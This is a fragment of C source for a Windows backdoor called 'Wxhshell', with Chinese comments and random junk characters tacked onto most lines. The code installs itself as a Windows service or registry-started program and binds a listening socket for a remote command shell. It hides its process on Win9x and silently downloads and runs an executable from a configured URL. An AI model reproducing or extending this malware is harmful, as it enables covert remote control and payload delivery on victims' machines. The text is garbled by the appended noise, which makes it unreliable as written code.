ULONG UniqueProcessId; .udv"?!z
ULONG InheritedFromUniqueProcessId; 6``'%S'#
} PROCESS_BASIC_INFORMATION; *"WDb|PBb
YWMGB#=
PROCNTQSIP NtQueryInformationProcess; GFfq+=se
#BJG9DFP4`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #Pw2Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U`,0]"Qk
$p#%G#T
HANDLE hProcess; DjI3?NN
PROCESS_BASIC_INFORMATION pbi; <WjF*x p
Qd=^S^}(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0E?jW7yr
if(NULL == hInst ) return 0; ONx(]
ikSF)r;*t
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4%2~Wi8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PlF87j (
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v$(lZa1
SF}<{x_
if (!NtQueryInformationProcess) return 0; a^Tmu
^
"i l}8`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !Gu%U $d
if(!hProcess) return 0; QYa(N[~a
gzBy?r> r
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [01.\eh
B;R.# ^@/
CloseHandle(hProcess); `Ja?fI'H-
ysmNio
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e%4:)
IV!;
if(hProcess==NULL) return 0; AZzuI*
"jTKSgv+q5
HMODULE hMod; d)@<W1;
char procName[255]; ~/ 8M 3k/
unsigned long cbNeeded; nB%;S
G2]4n T
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qOSg!aft{Q
'" X_B0k
CloseHandle(hProcess); q(zJ%Gv)
O(tX8P
Q5N
if(strstr(procName,"services")) return 1; // 以服务启动 [q_`X~3
{%VV\qaC
return 0; // 注册表启动 R)M_|ca
} k% sO 0
t~E<j+<2B
// 主模块 !).}u,*'no
int StartWxhshell(LPSTR lpCmdLine) 'mH )d
{ a 4=N9X
SOCKET wsl; GK9/D|h4
BOOL val=TRUE; _*IPk
int port=0; zaFt*~@X
struct sockaddr_in door; HQUeWCN
L lw&& K
if(wscfg.ws_autoins) Install(); ^ K7ic,{
&K43x&mFF
port=atoi(lpCmdLine); j:}J}P
I=7Y]w=
if(port<=0) port=wscfg.ws_port; uGwJK`!~
h)6GaJ=
WSADATA data; kaxvPv1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i.xXb[M+
5GA\xM-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tV_t6x_.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fi.aC;sx
door.sin_family = AF_INET; m6MOW&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); RbGJ)K!
door.sin_port = htons(port); &n[~!%(
$B#6tk~u
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .fi/I
closesocket(wsl); 7_wJpTz
return 1; ^pS+/ZSi^
} #Ei,(xiP
\XF}?*8
if(listen(wsl,2) == INVALID_SOCKET) { F$Ca;cP"
closesocket(wsl); y8s!M
return 1; fQ'.8'>T
} lJzl6&
Wxhshell(wsl); 4"@GNk~e
WSACleanup(); B-*E:O0y
/({;0I*!i
return 0; !j1[$% =#
Q \]Xm>
} R//$r%a
.6m "'m0;
// 以NT服务方式启动 <]Wlx`=/D
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E15vq6 DKF
{ g7CXlT0Q6
DWORD status = 0; KECElK3uj
DWORD specificError = 0xfffffff; 1z*kc)=JF8
"BKeot[""p
serviceStatus.dwServiceType = SERVICE_WIN32; G\/"}B:(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `W `0Fwu9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C#i UP|7hh
serviceStatus.dwWin32ExitCode = 0; =s}Xy_+:
serviceStatus.dwServiceSpecificExitCode = 0; _Mc>W0'5@
serviceStatus.dwCheckPoint = 0; aV`&L,Q)7E
serviceStatus.dwWaitHint = 0; 0IT@V5Gdj
6P`)%zj
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1ndJ+H0H
if (hServiceStatusHandle==0) return; W3&tJ8*3
`7+j0kV)
status = GetLastError(); `@`1pOb
if (status!=NO_ERROR) G{x[uE2X&f
{ V5D2\n3A
serviceStatus.dwCurrentState = SERVICE_STOPPED; yg;_.4TpIO
serviceStatus.dwCheckPoint = 0; Ybg-"w
serviceStatus.dwWaitHint = 0; 8I+d)(:
serviceStatus.dwWin32ExitCode = status; LS.r%:$mb
serviceStatus.dwServiceSpecificExitCode = specificError; !OcENV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~S; Z\
return; Y7U&Q:5'
} Qu%D
O\OE0 [[
serviceStatus.dwCurrentState = SERVICE_RUNNING; kGN||h
serviceStatus.dwCheckPoint = 0; V+Xl9v4O
serviceStatus.dwWaitHint = 0; NvtM3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ulqh@CE)
} S<6k0b(,_3
hPdx(E)8!d
// 处理NT服务事件,比如:启动、停止 `_ (~ Ud
VOID WINAPI NTServiceHandler(DWORD fdwControl) */ OI*{Q
{ W"hcaa,&
switch(fdwControl) TYjA:d9YH
{ en9en=n|
case SERVICE_CONTROL_STOP: zW4O4b$T
serviceStatus.dwWin32ExitCode = 0; oYX{R
serviceStatus.dwCurrentState = SERVICE_STOPPED; }fIqH4bp
serviceStatus.dwCheckPoint = 0; }qC SS<a
serviceStatus.dwWaitHint = 0; qeaA&(|5
{ mVm4fHEYwU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tLX,+P2|
} D\]&8w6&
return; C|z%P}u#p
case SERVICE_CONTROL_PAUSE: @R:#"
serviceStatus.dwCurrentState = SERVICE_PAUSED; ,9ml>ji`=
break; {^&@gkYY
case SERVICE_CONTROL_CONTINUE: &v#`t~
serviceStatus.dwCurrentState = SERVICE_RUNNING; K&pM o.
break; TGWdyIk
case SERVICE_CONTROL_INTERROGATE: +cfziQ$'
break; %"7WXOv&z
}; W\ULUK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o+)A'S
} 6S*zzJ.0K
Uu2N9.5
// 标准应用程序主函数 3@X7YgILU
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fykI,!
{ Ysk,w,K
&d
3HB=x
// 获取操作系统版本 w yD%x(
OsIsNt=GetOsVer(); =jIxI,
GetModuleFileName(NULL,ExeFile,MAX_PATH); _O52ai><b
Pe,;MP\2
// 从命令行安装 >Pkdu}xP3
if(strpbrk(lpCmdLine,"iI")) Install(); ggCr-
sQ(1/"gb
// 下载执行文件 ]N\6h(**wy
if(wscfg.ws_downexe) { QV)}3pW
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X\G)81Q.S
WinExec(wscfg.ws_filenam,SW_HIDE); 3L fTGO
} q}Rlo/R
^?Vq L\V5
if(!OsIsNt) { JFJIls
// 如果时win9x,隐藏进程并且设置为注册表启动 vU9~[I`^p
HideProc(); LY1KQu Y
StartWxhshell(lpCmdLine); r03I*b
} rIp'vy S\p
else H:E5xz3VQ
if(StartFromService()) 0Q*-g}wXfS
// 以服务方式启动 ;E2~L
StartServiceCtrlDispatcher(DispatchTable); 9C1b^^Kb
else 5^o3y.J?P
// 普通方式启动 :>ZzP: QD
StartWxhshell(lpCmdLine); 1bDJ}M~]z
t_Z _!Qy
return 0; !a)s`
}